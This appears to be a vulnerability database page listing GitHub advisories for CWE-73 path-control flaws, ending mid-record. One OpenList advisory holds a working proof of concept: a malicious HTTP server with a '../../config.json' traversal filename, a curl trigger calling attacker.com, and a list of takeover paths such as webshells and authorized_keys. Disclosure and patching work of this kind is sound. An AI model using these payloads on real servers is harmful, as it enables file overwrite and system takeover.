CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1182 vulnerabilities reference this CWE, most recent first.
GHSA-H5V9-H87R-RXHC
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.
{
"affected": [],
"aliases": [
"CVE-2025-59185"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:15:56Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Windows Core Shell allows an unauthorized attacker to perform spoofing over a network.",
"id": "GHSA-h5v9-h87r-rxhc",
"modified": "2025-10-14T18:30:33Z",
"published": "2025-10-14T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59185"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59185"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H672-P7H7-97V9
Vulnerability from github – Published: 2026-07-09 23:20 – Updated: 2026-07-09 23:20rattler_cache and py-rattler were vulnerable to package-cache path traversal when handling package metadata from conda channels.
During cache materialization, the ratter_cache code used the package record build string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory.
The issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form.
Users should upgrade to a patched version and avoid untrusted conda channels.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.2"
},
"package": {
"ecosystem": "crates.io",
"name": "rattler_cache"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.2"
},
"package": {
"ecosystem": "PyPI",
"name": "py_rattler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53956"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:20:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`rattler_cache` and `py-rattler` were vulnerable to package-cache path traversal when handling package metadata from conda channels.\n\nDuring cache materialization, the `ratter_cache` code used the package record `build` string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory.\n\nThe issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form.\n\nUsers should upgrade to a patched version and avoid untrusted conda channels.",
"id": "GHSA-h672-p7h7-97v9",
"modified": "2026-07-09T23:20:12Z",
"published": "2026-07-09T23:20:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conda/rattler/security/advisories/GHSA-h672-p7h7-97v9"
},
{
"type": "PACKAGE",
"url": "https://github.com/conda/rattler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Rattler vulnerable to package cache path traversal via conda package build string"
}
GHSA-H6CJ-26G5-67FV
Vulnerability from github – Published: 2026-09-03 17:37 – Updated: 2026-09-03 17:37Summary
Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.
A non-admin user with PermAddOfflineDownload permission on any path is sufficient.
Affected code
internal/offline_download/http/util.go — filename returned verbatim from header:
func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
if contentDisposition == "" {
return "", fmt.Errorf("Content-Disposition is empty")
}
_, params, err := mime.ParseMediaType(contentDisposition)
if err != nil {
return "", err
}
filename := params["filename"]
if filename == "" {
return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil // ← no traversal stripping
}
internal/offline_download/http/client.go (SimpleHttp.Run):
filename := path.Base(urlPath) // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
filename = n // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath) // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)
server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).
Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.
PoC
- Attacker has any alist account with
PermAddOfflineDownloadon some path it can write to (e.g./somefolder). - Attacker hosts a small HTTP listener:
from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()
- Trigger:
curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
-H 'Authorization: <session-token>' \
-H 'Content-Type: application/json' \
-d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'
- Server-side:
tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>.filename = "../../config.json".filePath = filepath.Join(tempDir, filename)cleans to/opt/alist/data/config.json.os.Createtruncates the existing config; the response body is streamed in.
Impact
The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls os.Create on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:
- Replace
/opt/alist/data/config.jsonwith attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook. - Drop a webshell into a writable docroot served by a sibling web server (environment-dependent).
- Truncate the alist binary at
/opt/alist/alist(Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary. - Write
authorized_keysif a host volume bind-mounts e.g./root/.sshand that directory exists.
Caveat: the parent directory of the target must already exist; os.Create does not mkdir -p intermediate components. This still leaves many high-impact targets reachable on default deployments.
Adversarial review notes
filepath.Joindoes collapse..(Go semantics confirmed via stdlib).- No containment check exists after the join.
mime.ParseMediaTypedoes not strip path separators or..fromfilenameor RFC 5987filename*.- The resolved path is opened using
os.Create, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists. SimpleHttpis registered by default (internal/offline_download/all.go).- The route is not
AuthAdmin-gated. - Default guest is disabled (perm 0); this requires a user with
PermAddOfflineDownload.
Remediation
Minimal patch in internal/offline_download/http/util.go:
filename = filepath.Base(filename)
if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) {
return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil
Defense-in-depth in internal/offline_download/http/client.go after computing filePath:
cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)
if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {
return fmt.Errorf("filename escapes temp dir")
}
Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.
if _, err := os.Stat(filePath); err == nil {
return fmt.Errorf("file already exists")
}
The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/ for consistency.
Inherited from upstream
This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).
Cross-reference
This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download SimpleHttp downloader was not in scope of that fix; the vulnerable code is on main HEAD as of the time of this report (verified against the openlistteam/openlist tree's internal/offline_download/http/client.go retrieved 2026-05-09 — the SimpleHttp.Run function still calls parseFilenameFromContentDisposition and uses the result verbatim with filepath.Join(task.TempDir, filename). OpenList's variant adds a strings.Trim(filename, "/") call which strips leading/trailing slashes but does NOT block .. traversal segments — so the bug remains exploitable.)
Credit
Discovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/OpenListTeam/OpenList"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75602"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T17:37:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAlist\u0027s offline-download feature (`POST /api/fs/add_offline_download` with `tool: \"SimpleHttp\"`) accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user\u0027s destination storage. The temp filename is taken from the response\u0027s `Content-Disposition` header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to `filepath.Join(tempDir, filename)`, and written via `os.Create` with no containment check. Go\u0027s `filepath.Join` calls `Clean` on the result, which collapses `..` segments and lets the attacker traverse out of `tempDir` to write any file the alist process can write.\n\nA non-admin user with `PermAddOfflineDownload` permission on any path is sufficient.\n\n### Affected code\n\n`internal/offline_download/http/util.go` \u2014 filename returned verbatim from header:\n\n```go\nfunc parseFilenameFromContentDisposition(contentDisposition string) (string, error) {\n if contentDisposition == \"\" {\n return \"\", fmt.Errorf(\"Content-Disposition is empty\")\n }\n _, params, err := mime.ParseMediaType(contentDisposition)\n if err != nil {\n return \"\", err\n }\n filename := params[\"filename\"]\n if filename == \"\" {\n return \"\", fmt.Errorf(\"filename not found in Content-Disposition: [%s]\", contentDisposition)\n }\n return filename, nil // \u2190 no traversal stripping\n}\n```\n\n`internal/offline_download/http/client.go` (`SimpleHttp.Run`):\n\n```go\nfilename := path.Base(urlPath) // safe\nif n, err := parseFilenameFromContentDisposition(resp.Header.Get(\"Content-Disposition\")); err == nil {\n filename = n // UNSAFE \u2014 no sanitization\n}\n_ = os.MkdirAll(task.TempDir, os.ModePerm)\nfilePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; \"../\" escapes tempDir\nfile, err := os.Create(filePath) // arbitrary file create+truncate\n_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)\n```\n\n`server/handles/offline_download.go` (`AddOfflineDownload`) is mounted under normal user auth (not `AuthAdmin`). The only permission check is `common.HasPermission(perm, common.PermAddOfflineDownload)`.\n\nNote: `tryPutUrl` in `internal/offline_download/tool/add.go` is a partial bypass for cloud-storage destinations whose driver implements `PutURL` (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver \u2014 the most common target \u2014 `tryPutUrl` returns `errs.NotImplement` and execution falls through to the vulnerable `SimpleHttp.Run` path.\n\n### PoC\n\n1. Attacker has any alist account with `PermAddOfflineDownload` on some path it can write to (e.g. `/somefolder`).\n2. Attacker hosts a small HTTP listener:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nPAYLOAD = b\"any_attacker_controlled_bytes\\n\"\nTRAVERSAL = \"../../config.json\" # destination path under /opt/alist/data/\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Disposition\", f\u0027attachment; filename=\"{TRAVERSAL}\"\u0027)\n self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n self.end_headers()\n self.wfile.write(PAYLOAD)\nHTTPServer((\"0.0.0.0\", 80), H).serve_forever()\n```\n\n3. Trigger:\n\n```bash\ncurl -X POST \u0027http://victim-alist.example/api/fs/add_offline_download\u0027 \\\n -H \u0027Authorization: \u003csession-token\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"urls\":[\"http://attacker.com/payload\"],\"tool\":\"SimpleHttp\",\"path\":\"/somefolder\",\"delete_policy\":\"delete_never\"}\u0027\n```\n\n4. Server-side: `tempDir = /opt/alist/data/temp/SimpleHttp/\u003cuuid\u003e`. `filename = \"../../config.json\"`. `filePath = filepath.Join(tempDir, filename)` cleans to `/opt/alist/data/config.json`. `os.Create` truncates the existing config; the response body is streamed in.\n\n### Impact\n\nThe minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, **as the alist process** (PUID=0 in default Docker). Because the vulnerable code ultimately calls `os.Create` on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:\n\n- **Replace `/opt/alist/data/config.json`** with attacker config (alternative JwtSecret, admin password hash, allowed origins) \u2014 admin takeover on next restart / config-reload hook.\n- **Drop a webshell** into a writable docroot served by a sibling web server (environment-dependent).\n- **Truncate the alist binary** at `/opt/alist/alist` (Linux permits overwriting an executing binary on most filesystems) \u2014 next start runs attacker\u0027s binary.\n- **Write `authorized_keys`** if a host volume bind-mounts e.g. `/root/.ssh` and that directory exists.\n\nCaveat: the parent directory of the target must already exist; `os.Create` does not `mkdir -p` intermediate components. This still leaves many high-impact targets reachable on default deployments.\n\n### Adversarial review notes\n\n- `filepath.Join` *does* collapse `..` (Go semantics confirmed via stdlib).\n- No containment check exists after the join.\n- `mime.ParseMediaType` does not strip path separators or `..` from `filename` or RFC 5987 `filename*`.\n- The resolved path is opened using `os.Create`, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.\n- `SimpleHttp` is registered by default (`internal/offline_download/all.go`).\n- The route is *not* `AuthAdmin`-gated.\n- Default guest is disabled (perm 0); this requires a user with `PermAddOfflineDownload`.\n\n### Remediation\n\nMinimal patch in `internal/offline_download/http/util.go`:\n\n```go\nfilename = filepath.Base(filename)\nif filename == \"\" || filename == \".\" || filename == \"..\" || !filepath.IsLocal(filename) {\n return \"\", fmt.Errorf(\"invalid filename in Content-Disposition: [%s]\", contentDisposition)\n}\nreturn filename, nil\n```\n\nDefense-in-depth in `internal/offline_download/http/client.go` after computing `filePath`:\n\n```go\ncleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)\nif !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {\n return fmt.Errorf(\"filename escapes temp dir\")\n}\n```\n\nAdditionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.\n\n```go\nif _, err := os.Stat(filePath); err == nil {\n return fmt.Errorf(\"file already exists\")\n}\n```\n\nThe same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under `internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/` for consistency.\n\n### Inherited from upstream\n\nThis bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).\n\n### Cross-reference\n\nThis is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download `SimpleHttp` downloader was not in scope of that fix; the vulnerable code is on `main` HEAD as of the time of this report (verified against the openlistteam/openlist tree\u0027s `internal/offline_download/http/client.go` retrieved 2026-05-09 \u2014 the SimpleHttp.Run function still calls `parseFilenameFromContentDisposition` and uses the result verbatim with `filepath.Join(task.TempDir, filename)`. OpenList\u0027s variant adds a `strings.Trim(filename, \"/\")` call which strips leading/trailing slashes but does NOT block `..` traversal segments \u2014 so the bug remains exploitable.)\n\n### Credit\n\nDiscovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.",
"id": "GHSA-h6cj-26g5-67fv",
"modified": "2026-09-03T17:37:20Z",
"published": "2026-09-03T17:37:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenListTeam/OpenList"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool"
}
GHSA-H7F7-89MM-PQH6
Vulnerability from github – Published: 2026-02-18 22:44 – Updated: 2026-02-20 16:47Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.14 - Fixed in: planned release
2026.2.15
Impact
A bug in download skill installation allowed targetDir values from skill frontmatter to resolve outside the per-skill tools directory if not strictly validated.
In the admin-only skills.install flow, this could write files outside the intended install sandbox.
Fix Commit(s)
- 2363e1b08 fix(security): restrict skill download target paths
- b6305e972 test(skills): split installer security coverage
Acknowledgement
Thanks @Adam55A-code for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27008"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:44:18Z",
"nvd_published_at": "2026-02-20T00:16:17Z",
"severity": "MODERATE"
},
"details": "## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.14`\n- Fixed in: planned release `2026.2.15`\n\n## Impact\nA bug in `download` skill installation allowed `targetDir` values from skill frontmatter to resolve outside the per-skill tools directory if not strictly validated.\nIn the admin-only `skills.install` flow, this could write files outside the intended install sandbox.\n\n## Fix Commit(s)\n- 2363e1b08 fix(security): restrict skill download target paths\n- b6305e972 test(skills): split installer security coverage\n\n## Acknowledgement\nThanks @Adam55A-code for reporting.",
"id": "GHSA-h7f7-89mm-pqh6",
"modified": "2026-02-20T16:47:32Z",
"published": "2026-02-18T22:44:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h7f7-89mm-pqh6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27008"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/2363e1b0853a028e47f90dcc1066e3e9809d65f1"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/b6305e97256d67e439719faacf5af3de9727d6e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw hardened the skill download target directory validation"
}
GHSA-H9G5-83G6-G5CH
Vulnerability from github – Published: 2026-09-09 12:32 – Updated: 2026-09-09 12:32SiYuan versions before v3.8.2 contain a path traversal vulnerability in the /api/riff/removeRiffDeck endpoint that fails to validate the deckID parameter. An authenticated administrator can supply path traversal sequences to delete arbitrary .deck and .cards files outside the workspace directory.
{
"affected": [],
"aliases": [
"CVE-2026-87815"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T12:17:16Z",
"severity": "HIGH"
},
"details": "SiYuan versions before v3.8.2 contain a path traversal vulnerability in the /api/riff/removeRiffDeck endpoint that fails to validate the deckID parameter. An authenticated administrator can supply path traversal sequences to delete arbitrary .deck and .cards files outside the workspace directory.",
"id": "GHSA-h9g5-83g6-g5ch",
"modified": "2026-09-09T12:32:15Z",
"published": "2026-09-09T12:32:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-94vh-rpgr-rpwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87815"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/siyuan-before-3.8.2-path-traversal-via-removeriffdeck"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HC3P-4H64-J8WR
Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-08-28 18:31Grav API Plugin (Composer package getgrav/grav-plugin-api) before 1.0.10 fails to properly validate the slug field in the POST /pages/{route}/move endpoint. PagesController::move() sanitizes the slug only with ltrim($body['slug'], '.'), which strips leading periods but does not neutralize '/' or '..' segments. An authenticated API caller with the api.pages.write permission can supply path traversal sequences (e.g., 01.home/../../../pwned) to move an entire page directory (content and media) to an arbitrary writable location outside user/pages/, including outside the Grav installation.
{
"affected": [],
"aliases": [
"CVE-2026-65896"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T12:18:48Z",
"severity": "HIGH"
},
"details": "Grav API Plugin (Composer package getgrav/grav-plugin-api) before 1.0.10 fails to properly validate the slug field in the POST /pages/{route}/move endpoint. PagesController::move() sanitizes the slug only with ltrim($body[\u0027slug\u0027], \u0027.\u0027), which strips leading periods but does not neutralize \u0027/\u0027 or \u0027..\u0027 segments. An authenticated API caller with the api.pages.write permission can supply path traversal sequences (e.g., 01.home/../../../pwned) to move an entire page directory (content and media) to an arbitrary writable location outside user/pages/, including outside the Grav installation.",
"id": "GHSA-hc3p-4h64-j8wr",
"modified": "2026-08-28T18:31:11Z",
"published": "2026-07-23T12:32:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-qjq4-jp55-4mx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65896"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav-plugin-api/commit/f9438d4e71389b1041ac60b69b0b5714ecfa3bdd"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/f9438d4e71389b1041ac60b69b0b5714ecfa3bdd"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-api-plugin-before-path-traversal-via-move"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HCQG-8F35-JW4G
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30External control of file name or path in Azure Stack Edge allows an unauthorized attacker to execute code over a network.
{
"affected": [],
"aliases": [
"CVE-2026-47643"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:36Z",
"severity": "CRITICAL"
},
"details": "External control of file name or path in Azure Stack Edge allows an unauthorized attacker to execute code over a network.",
"id": "GHSA-hcqg-8f35-jw4g",
"modified": "2026-06-09T18:30:55Z",
"published": "2026-06-09T18:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47643"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HF9W-J94G-6X4X
Vulnerability from github – Published: 2024-12-21 12:30 – Updated: 2025-02-07 18:31The Easy Digital Downloads – eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.2 via the file download functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-12875"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-21T12:15:20Z",
"severity": "MODERATE"
},
"details": "The Easy Digital Downloads \u2013 eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.2 via the file download functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-hf9w-j94g-6x4x",
"modified": "2025-02-07T18:31:17Z",
"published": "2024-12-21T12:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12875"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3131805/easy-digital-downloads/tags/3.3.3/includes/process-download.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ec065da7-b8aa-414d-9673-5caf87ad45b5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HFPP-2Q66-88FJ
Vulnerability from github – Published: 2025-11-09 00:30 – Updated: 2025-11-09 00:30A vulnerability was found in 70mai X200 up to 20251019. This issue affects some unknown processing of the component Init Script Handler. The manipulation results in file inclusion. The attack requires a local approach. A high complexity level is associated with this attack. The exploitability is assessed as difficult. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-12915"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-08T23:15:48Z",
"severity": "HIGH"
},
"details": "A vulnerability was found in 70mai X200 up to 20251019. This issue affects some unknown processing of the component Init Script Handler. The manipulation results in file inclusion. The attack requires a local approach. A high complexity level is associated with this attack. The exploitability is assessed as difficult. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-hfpp-2q66-88fj",
"modified": "2025-11-09T00:30:26Z",
"published": "2025-11-09T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12915"
},
{
"type": "WEB",
"url": "https://github.com/geo-chen/70mai/blob/main/README.md#finding-11-init-script-binary-hijack-persistence-vulnerability-in-70mai-x200-omni-dashcam"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.331633"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.331633"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.678285"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HGGF-8H2Q-J24H
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32External control of file name or path in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.
{
